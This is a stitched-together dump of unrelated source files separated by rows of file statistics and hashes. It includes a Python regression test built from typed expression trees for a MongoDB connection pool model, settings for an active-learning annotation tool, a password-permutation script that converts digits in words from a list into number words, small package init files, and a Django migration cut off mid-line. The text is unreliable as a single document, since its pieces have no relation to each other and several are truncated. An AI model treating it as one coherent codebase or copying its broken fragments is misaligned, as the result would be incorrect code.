ELambda(EVar('x').with_type(TNative('mongo::Date_t')), EVar('x').with_type(TNative('mongo::Date_t')))).with_type(TNative('mongo::Date_t')), EVar('hostTimeout').with_type(TNative('mongo::Milliseconds')))).with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t')))).with_type(TInt()), '>', ENum(1).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()) assert satisfiable(e, validate_model=True) def test_regression30(self): satisfy(EUnaryOp('not', EBinOp(EBool(True).with_type(TBool()), '=>', EBinOp(EBinOp(EUnaryOp('sum', EMap(EMap(EBinOp(EVar('reqs').with_type(TSet(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), '+', EVar('reqs').with_type(TSet(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))))).with_type(TSet(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('_var7757541').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EVar('_var7757541').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))))).with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('_var7765571').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), ENum(12).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '+', ENum(4).with_type(TInt())).with_type(TInt()), '>=', EBinOp(EUnaryOp('sum', EMap(EBinOp(EVar('reqs').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), '+', EVar('reqs').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))))).with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('_var7765572').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), ENum(12).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '+', ENum(4).with_type(TInt())).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), EVar('retId').with_type(TInt()), EVar('reqs').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_idleHosts').with_type(TBag(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t')))))), EVar('hostTimeout').with_type(TNative('mongo::Milliseconds')), EVar('now').with_type(TNative('mongo::Date_t')), EVar('lastUsed').with_type(TNative('mongo::Date_t')), EVar('refreshRequirement').with_type(TNative('mongo::Milliseconds')), EVar('_var134975').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EVar('_var140097').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var142487').with_type(TBag(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t')))))), EVar('_var144896').with_type(TSet(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var147967').with_type(TList(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))), EVar('_var151056').with_type(TList(TNative('mongo::executor::ConnectionPool::GetConnectionCallback*'))), EVar('_var154024').with_type(TList(TNative('mongo::HostAndPort'))), EVar('_var158004').with_type(TList(TBool())), EVar('_var161210').with_type(TList(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var165082').with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EVar('_var168721').with_type(TList(TNative('mongo::Date_t'))), EVar('_var172454').with_type(TList(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t')))))), EVar('refreshTimeout').with_type(TNative('mongo::Milliseconds')), EVar('_var185962').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EVar('_var190095').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var194791').with_type(TBag(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t')))))), EVar('_var202417').with_type(TSet(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var38203').with_type(TNative('mongo::Milliseconds')), EVar('_var39713').with_type(TNative('mongo::HostAndPort')), EVar('_var40370').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), EVar('_var41695').with_type(TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), EVar('_var55289').with_type(TInt()), EVar('_var57710').with_type(TInt()), EVar('_var59325').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('_var61549').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EVar('_var62456').with_type(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t'))))), EVar('_var66853').with_type(TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), EVar('_var68361').with_type(TNative('mongo::HostAndPort')), EVar('_var127106').with_type(TNative('mongo::HostAndPort')), EVar('_var129859').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), EVar('_var132639').with_type(TNative('mongo::Date_t')), EVar('_var3908034').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EVar('_var137119').with_type(TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), EVar('_var4190399').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var4299262').with_type(TBag(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t')))))), EVar('_var4387932').with_type(TSet(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var4483236').with_type(TList(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))), EVar('_var4569137').with_type(TList(TNative('mongo::executor::ConnectionPool::GetConnectionCallback*'))), EVar('_var4655577').with_type(TList(TNative('mongo::HostAndPort'))), EVar('_var4738746').with_type(TList(TBool())), EVar('_var4818493').with_type(TList(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var4915478').with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EVar('_var5007032').with_type(TList(TNative('mongo::Date_t'))), EVar('_var5094414').with_type(TList(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t')))))), EVar('_var5507733').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EVar('_var5600856').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var5792496').with_type(TSet(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var206374').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('_var221798').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EVar('_var235214').with_type(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t'))))), EVar('_var272630').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), EVar('_var297956').with_type(TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), EVar('_var319668').with_type(TNative('mongo::HostAndPort')), EVar('_var379822').with_type(TNative('mongo::Date_t')), EVar('_var401892').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('_var415046').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))]), collection_depth=4, validate_model=True)
676.282
99,331
0.673293
38,666
338,141
5.699374
0.014483
0.090683
0.040659
0.0432
0.976426
0.969642
0.962041
0.956147
0.946345
0.938032
0
0.008139
0.054897
338,141
499
99,332
677.637275
0.681433
0.000621
0
0.29803
0
0
0.387114
0.070915
0.029557
0
0
0
0.165025
1
0.20936
false
0
0.017241
0
0.229064
0.014778
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
9
e2df7ba2aa0a124ebf151c5c4119b1d69723d3f0
8,780
py
Python
data/example_project/settings.py
mariask2/PAL-A-tool-for-Pre-annotation-and-Active-Learning
9529531436cd665272c0f7ac27444b33ee8efa6c
[ "BSD-2-Clause" ]
19
2017-04-17T07:19:11.000Z
2021-09-09T08:34:30.000Z
data/example_project/settings.py
mariask2/PAL-A-tool-for-Pre-annotation-and-Active-Learning
9529531436cd665272c0f7ac27444b33ee8efa6c
[ "BSD-2-Clause" ]
null
null
null
data/example_project/settings.py
mariask2/PAL-A-tool-for-Pre-annotation-and-Active-Learning
9529531436cd665272c0f7ac27444b33ee8efa6c
[ "BSD-2-Clause" ]
3
2017-10-06T14:53:25.000Z
2019-07-04T06:11:13.000Z
""" Documentation of settings: ############## minority_classes: # Minority classes with their prefix. If the classes in the labelled data # are not present in this list, they will be ignored # They should be prefixed with "B" or "I" (matching beginning_prefix below) minority_classes = ["B-speculation", "I-speculation", "B-contrast", "I-contrast"] model_type: # Type of model to use #model_type = StructuredModelFrankWolfeSSVM #model_type = NonStructuredLogisticRegression nr_of_samples: # Number of sentences to be actively seleected and pre-annotated in each round # nr_of_samples = 5 number_of_previous_words and number_of_following_words: # The context around the current word to include when training the classifiers #number_of_previous_words = 1 #number_of_following_words = 1 # A cut-off for the number of occurrences of a token in the data for it to be included as a feature #min_df_current = 2 #min_df_context = 3 use_current_word_as_feature: # Whether to include the current token as feature #use_current_word_as_feature = True model_path: # The path to the semantic space that is read by Gensim #model_path = '/mnt/data/maria/word2vec/GoogleNews-vectors-negative300.bin' semantic_vector_length: # Vector length for the semantic vectors (300 for GoogleNews-vectors-negative300.bin, for instance.) #semantic_vector_length = 300 inactive_learning: # This is to be set to False when active learning is to be applied # If it is true, it instead does the reverse, return the samples for which the learner is most certain # This is to be used in early stages, when the classifier is too bad for doing a good pre-annotation. # Ensure to use as at least 50 samples with this option, so there will be a spread in what kinds of samples that are # extracted. # inactive_learning = True maximum_samples_to_search_among: # The maxium number of sentences to search among when actively selecting useful # training samples # The larger value that is given, the more data will be scanned for useful examples # however, it will also take more time # "all" let's you search among all samples #maximum_samples_to_search_among = "all" #maximum_samples_to_search_among = 100 prefer_predicted_chunks: # With this option set to True, the active learning prefers unlabelled samples in which chunks are predicted # regardless of if they are more of less uncertain than the ones in which no chunks are predicted # prefer_predicted_chunks = True max_iterations: # The number of iterations to use by the learning. See the pystruct documentation for # a suitable number (e.g. 1000). The larger, the longer things will take, so if the pre-annnotation take too much time # reduce this nuber (which will also reduce the quality). # Not used by the NonStructuredLogisticRegression class #max_iterations = 10 current_word_vocabulary and context_word_vocabulary # Decide what vocabulary to include based on an external list of words # False, if no external list is to be used #current_word_vocabulary = False #current_word_vocabulary = "/mnt/data/maria/stavicta_models/vocabulary/occurred_twice_or_more_in_pool.txt" #context_word_vocabulary = "/mnt/data/maria/stavicta_models/vocabulary/occurred_twice_or_more_in_pool.txt" #context_word_vocabulary = False use_cross_validation: # If cross validation is to be used # Only implemented for NonStructuredLogisticRegression #use_cross_validation = True c_value # If 10-fold cross validation is chosen, this c_value is not used #c_value = 1 # Settings, typically not changed, but that can be changed ################################# #labelled_data_dir = "labelled" #data_file_extension = ".csv" #unlabelled_data_dir = "unlabelled" #unlabelled_data_file = "unlabelled.csv" #tolabel_data_dir = "tolabel" #beginning_prefix = "B-" #inside_prefix = "I-" #outside_class = "O" #negative_category = "no" #whether_to_use_word2vec = True #nr_of_cross_validation_splits = 2 """ #################################################################### # Settings that typicallly need to be adapted to different projects #################################################################### # Import of the classifiers that are possible to use from classify_and_select import StructuredModelFrankWolfeSSVM from classify_and_select import NonStructuredLogisticRegression # Minority classes with their prefix. If the classes in the labelled data # are not present in this list, they will be ignored # They should be prefixed with "B" or "I" (matching beginning_prefix below) minority_classes = ["B-speculation", "I-speculation"] #minority_classes = ["B-speculation", "I-speculation", "B-contrast", "I-contrast"] ####### # Type of model to use #model_type = StructuredModelFrankWolfeSSVM model_type = NonStructuredLogisticRegression # Number of sentences to be actively seleected and pre-annotated in each round # nr_of_samples = 5 # The context around the current word to include when training the classifiers #number_of_previous_words = 1 #number_of_following_words = 1 # A cut-off for the number of occurrences of a token in the data for it to be included as a feature #min_df_current = 2 #min_df_context = 3 # A maximum cut-off for the number of occurrences of a token in the data for a token, or a neighbouring token to be included as a feature # float in range [0.0, 1.0] or int. See the scikit learn documentation for the max_df for the class CountVectorizer max_df_current = 0.95 max_df_context = 0.80 ####### ####### # Whether to include the current token as feature #use_current_word_as_feature = True # The path to the semantic space that is read by Gensim model_path = '/Users/maria/mariaskeppstedtdsv/post-doc/gavagai/googlespace/GoogleNews-vectors-negative300.bin' #model_path = '/Users/maria/mariaskeppstedtdsv/post-doc/gavagai/googlespace/word2vec_twitter_model/word2vec_twitter_model.bin' # Vector length for the semantic vectors (300 for GoogleNews-vectors-negative300.bin, for instance.) semantic_vector_length = 300 ### # Whether process monitoring data should be recorded #### write_process_monitoring = True ####### # This is to be set to False when active learning is to be applied # If it is true, it instead does the reverse, return the samples for which the learner is most certain # This is to be used in early stages, when the classifier is too bad for doing a good pre-annotation. # Ensure to use as at least 50 samples with this option, so there will be a spread in what kinds of samples that are # extracted. # inactive_learning = True ######### # The maxium number of sentences to search among when actively selecting useful # training samples # The larger value that is given, the more data will be scanned for useful examples # however, it will also take more time # "all" let's you search among all samples #maximum_samples_to_search_among = "all" #maximum_samples_to_search_among = 100 ############ # With this option set to True, the active learning prefers unlabelled samples in which chunks are predicted # regardless of if they are more of less uncertain than the ones in which no chunks are predicted # prefer_predicted_chunks = True # The number of iterations to use by the learning. See the pystruct documentation for # a suitable number (e.g. 1000). The larger, the longer things will take, so if the pre-annnotation take too much time # reduce this nuber (which will also reduce the quality). # Not used by the NonStructuredLogisticRegression class #max_iterations = 10 ###### # Decide what vocabulary to include based on an external list of words # False, if no external list is to be used #current_word_vocabulary = False #current_word_vocabulary = "/mnt/data/maria/stavicta_models/vocabulary/occurred_twice_or_more_in_pool.txt" #context_word_vocabulary = "/mnt/data/maria/stavicta_models/vocabulary/occurred_twice_or_more_in_pool.txt" #context_word_vocabulary = False # If cross validation is to be used # Only implemented for NonStructuredLogisticRegression #use_cross_validation = True # If 10-fold cross validation is chosen, this c_value is not used #c_value = 1 # Settings, typically not changed ################################# #labelled_data_dir = "labelled" #data_file_extension = ".csv" #unlabelled_data_dir = "unlabelled" #unlabelled_data_file = "unlabelled.csv" #tolabel_data_dir = "tolabel" #beginning_prefix = "B-" #inside_prefix = "I-" #outside_class = "O" #negative_category = "no" #whether_to_use_word2vec = True #whether_to_use_clustering = True #nr_of_cross_validation_splits = 2 #process_monitoring_dir = "process_monitoring"
39.372197
137
0.748405
1,289
8,780
4.930954
0.190846
0.010069
0.00944
0.00944
0.869729
0.853367
0.849906
0.841095
0.841095
0.823002
0
0.01076
0.163781
8,780
222
138
39.54955
0.854944
0.901822
0
0
0
0.111111
0.218807
0.17179
0
0
0
0
0
1
0
false
0
0.222222
0
0.222222
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
e2e1ce857dd9f3f0ed1d6dd6e46e212e468a16b0
206
py
Python
qctests/EN_spike_and_step_suspect.py
BillMills/AutoQC
cb56fa5bb2115170ec204edd84e2d69ce84be820
[ "MIT" ]
17
2015-01-31T00:35:58.000Z
2020-10-26T19:01:46.000Z
qctests/EN_spike_and_step_suspect.py
castelao/AutoQC
eb85422c1a6a5ff965a1ef96b3cb29240a66b506
[ "MIT" ]
163
2015-01-21T03:44:42.000Z
2022-01-09T22:03:12.000Z
qctests/EN_spike_and_step_suspect.py
BillMills/AutoQC
cb56fa5bb2115170ec204edd84e2d69ce84be820
[ "MIT" ]
11
2015-06-04T14:32:22.000Z
2021-04-11T05:18:09.000Z
'''Returns the suspect levels found by the EN spike and step check.''' from . import EN_spike_and_step_check def test(p, parameters): return EN_spike_and_step_check.test(p, parameters, suspect=True)
25.75
70
0.76699
34
206
4.411765
0.558824
0.14
0.2
0.28
0.38
0
0
0
0
0
0
0
0.145631
206
7
71
29.428571
0.852273
0.31068
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
7
e2f3b2930561653d52430b28dc92e09e111da71c
1,979
py
Python
PP.py
MusicGivesMeLife/PasswordPermutations
105d4120e455a635a8f7cea2f36028484152d399
[ "MIT" ]
null
null
null
PP.py
MusicGivesMeLife/PasswordPermutations
105d4120e455a635a8f7cea2f36028484152d399
[ "MIT" ]
null
null
null
PP.py
MusicGivesMeLife/PasswordPermutations
105d4120e455a635a8f7cea2f36028484152d399
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 #TODO libraries import re import inflect ilist = open("list.txt", "r") pplist = ilist.readlines() spec_chars = ['@', '!', '$', '-', '.', ':', '_', '%', '?'] p = inflect.engine() def num_to_stri(numl): numlist = [] numchar = list(numl) for numi in range(len(numchar)): if numchar[numi] == "0": numchar[numi] = "zero" elif numchar[numi] == "1": numchar[numi] = "one" elif numchar[numi] == "2": numchar[numi] = "two" elif numchar[numi] == "3": numchar[numi] = "three" elif numchar[numi] == "4": numchar[numi] = "four" elif numchar[numi] == "5": numchar[numi] = "five" elif numchar[numi] == "6": numchar[numi] = "six" elif numchar[numi] == "7": numchar[numi] = "seven" elif numchar[numi] == "8": numchar[numi] = "eight" elif numchar[numi] == "9": numchar[numi] = "nine" numlist.append(''.join(numchar)) numlist.append(''.join(numchar).upper()) numchar = list(numl) for numi in range(len(numchar)): if numchar[numi] == "0": numchar[numi] = "Zero" elif numchar[numi] == "1": numchar[numi] = "One" elif numchar[numi] == "2": numchar[numi] = "Two" elif numchar[numi] == "3": numchar[numi] = "Three" elif numchar[numi] == "4": numchar[numi] = "Four" elif numchar[numi] == "5": numchar[numi] = "Five" elif numchar[numi] == "6": numchar[numi] = "Six" elif numchar[numi] == "7": numchar[numi] = "Seven" elif numchar[numi] == "8": numchar[numi] = "Eight" elif numchar[numi] == "9": numchar[numi] = "Nine" numlist.append(''.join(numchar)) if ''.join(numl).isdecimal(): numl = int(''.join(numl)) return(numlist)
30.921875
58
0.482567
210
1,979
4.528571
0.285714
0.462671
0.283912
0.07571
0.780231
0.780231
0.780231
0.780231
0.780231
0.780231
0
0.015873
0.331481
1,979
63
59
31.412698
0.702948
0.017686
0
0.448276
0
0
0.060762
0
0
0
0
0.015873
0
1
0.017241
false
0
0.034483
0
0.051724
0
0
0
0
null
1
1
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
8
1a7187833bbca15cac0020ce52caf9f2868e3d16
81
py
Python
jingu/__init__.py
shiimaxx/jingu
75176f3befa248ffb936a177d91c4feee0eef98b
[ "MIT" ]
null
null
null
jingu/__init__.py
shiimaxx/jingu
75176f3befa248ffb936a177d91c4feee0eef98b
[ "MIT" ]
null
null
null
jingu/__init__.py
shiimaxx/jingu
75176f3befa248ffb936a177d91c4feee0eef98b
[ "MIT" ]
null
null
null
# flake8: noqa from .template import Environment from .template import Template
16.2
33
0.802469
10
81
6.5
0.6
0.369231
0.553846
0
0
0
0
0
0
0
0
0.014493
0.148148
81
4
34
20.25
0.927536
0.148148
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
2053f57c05e4f4f25fe746c3ad60edaabf2f753d
189
py
Python
hangout_api/__init__.py
enkidulan/hangout_api
60bb389afd7ceb790e6562073303762078997f7b
[ "Apache-2.0" ]
6
2015-03-08T18:45:15.000Z
2021-01-06T21:02:51.000Z
hangout_api/__init__.py
enkidulan/hangout_api
60bb389afd7ceb790e6562073303762078997f7b
[ "Apache-2.0" ]
1
2016-01-26T17:46:14.000Z
2016-01-29T09:01:15.000Z
hangout_api/__init__.py
enkidulan/hangout_api
60bb389afd7ceb790e6562073303762078997f7b
[ "Apache-2.0" ]
1
2020-01-29T02:01:20.000Z
2020-01-29T02:01:20.000Z
""" Python API for controlling Google+ Hangouts =========================================== """ from .base import Hangouts from hangout_api import settings from hangout_api import gadgets
21
43
0.613757
20
189
5.7
0.6
0.210526
0.245614
0.350877
0
0
0
0
0
0
0
0
0.116402
189
8
44
23.625
0.682635
0.460317
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
644acfc00a840653d4bda0d763992a8f69a7bf94
12,548
py
Python
src/waldur_ansible/python_management/migrations/0001_initial.py
opennode/waldur-ansible
c81c5f0491be02fa9a55a6d5bf9d845750fd1ba9
[ "MIT" ]
1
2017-09-05T08:09:47.000Z
2017-09-05T08:09:47.000Z
src/waldur_ansible/python_management/migrations/0001_initial.py
opennode/waldur-ansible
c81c5f0491be02fa9a55a6d5bf9d845750fd1ba9
[ "MIT" ]
null
null
null
src/waldur_ansible/python_management/migrations/0001_initial.py
opennode/waldur-ansible
c81c5f0491be02fa9a55a6d5bf9d845750fd1ba9
[ "MIT" ]
3
2017-09-24T03:13:19.000Z
2018-08-12T07:44:38.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.9 on 2018-03-05 21:05 from __future__ import unicode_literals import django.utils.timezone import django_fsm import model_utils.fields from django.conf import settings from django.db import migrations, models import waldur_core.core.fields import waldur_core.core.validators class Migration(migrations.Migration): initial = True dependencies = [ ('openstack_tenant', '0030_add_volume_image_name'), migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='CachedRepositoryPythonLibrary', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('uuid', waldur_core.core.fields.UUIDField()), ('name', models.CharField(db_index=True, max_length=255, validators=[waldur_core.core.validators.validate_name])), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='InstalledLibrary', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=150, validators=[waldur_core.core.validators.validate_name], verbose_name='name')), ('uuid', waldur_core.core.fields.UUIDField()), ('version', models.CharField(max_length=255)), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='PythonManagement', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')), ('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')), ('uuid', waldur_core.core.fields.UUIDField()), ('virtual_envs_dir_path', models.CharField(max_length=255)), ('python_version', models.CharField(max_length=10)), ('instance', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='openstack_tenant.Instance')), ('service_project_link', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='openstack_tenant.OpenStackTenantServiceProjectLink')), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='PythonManagementDeleteRequest', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', 